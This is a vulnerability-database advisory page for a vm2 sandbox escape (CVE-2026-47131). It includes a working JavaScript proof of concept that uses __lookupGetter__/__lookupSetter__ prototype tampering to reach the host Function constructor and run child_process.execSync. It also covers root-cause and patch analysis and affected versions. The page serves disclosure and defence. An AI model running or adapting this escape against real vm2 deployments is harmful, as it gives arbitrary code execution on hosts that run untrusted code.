10

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2026-47131

CVE-2026-47131: vm2 has a Sandbox Escape issue

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.

PoC

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2026-47131

CVE-2026-47131:

10

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
vm2	npm	<= 3.11.3	3.11.4

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability lies in the apply trap of the bridge, which allows sandbox code to invoke host functions with a host object as this. This can be exploited to mutate the prototype of a host object, leading to a sandbox escape. The patch addresses this by adding a two-layer fix in lib/bridge.js.

The first layer is a write-side fix that refuses to apply host prototype mutators. It does this by caching the identity of every host-realm function that mutates [[Prototype]] and refusing any apply-trap invocation that reaches one.

The second layer is a read-side, defense-in-depth fix that cache-checks mappingOtherToThis before the proto-walk in thisEnsureThis. This ensures that any previously-bridged host value returns the existing proxy even with a tampered proto chain.

Based on the patch, the following functions are identified as vulnerable:

createBridge in lib/bridge.js: This function is the main entry point for creating the bridge between the sandbox and the host. The patch adds a significant amount of code to this function to address the vulnerability.
thisEnsureThis in lib/bridge.js: This function is responsible for ensuring that a value is a this value. The patch adds a cache check to this function to prevent the vulnerability from being exploited.

The following functions are also relevant to the vulnerability, as they are used in the exploit:

Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")
Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")
WebAssembly.compileStreaming()

However, these functions are not directly patched. The vulnerability is in the vm2 library, not in these built-in Node.js functions.

Therefore, the vulnerable functions are createBridge and thisEnsureThis in lib/bridge.js.

Vulnerable functions

createBridge

lib/bridge.js

This function is the main entry point for creating the bridge between the sandbox and the host. The vulnerability lies in the `apply` trap of the bridge, which allows sandbox code to invoke host functions with a host object as `this`. This can be exploited to mutate the prototype of a host object, leading to a sandbox escape.

thisEnsureThis

lib/bridge.js

This function is responsible for ensuring that a value is a `this` value. The vulnerability can be exploited by severing the prototype chain of a host object, which causes this function to return the raw host object to the sandbox, leading to a sandbox escape.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.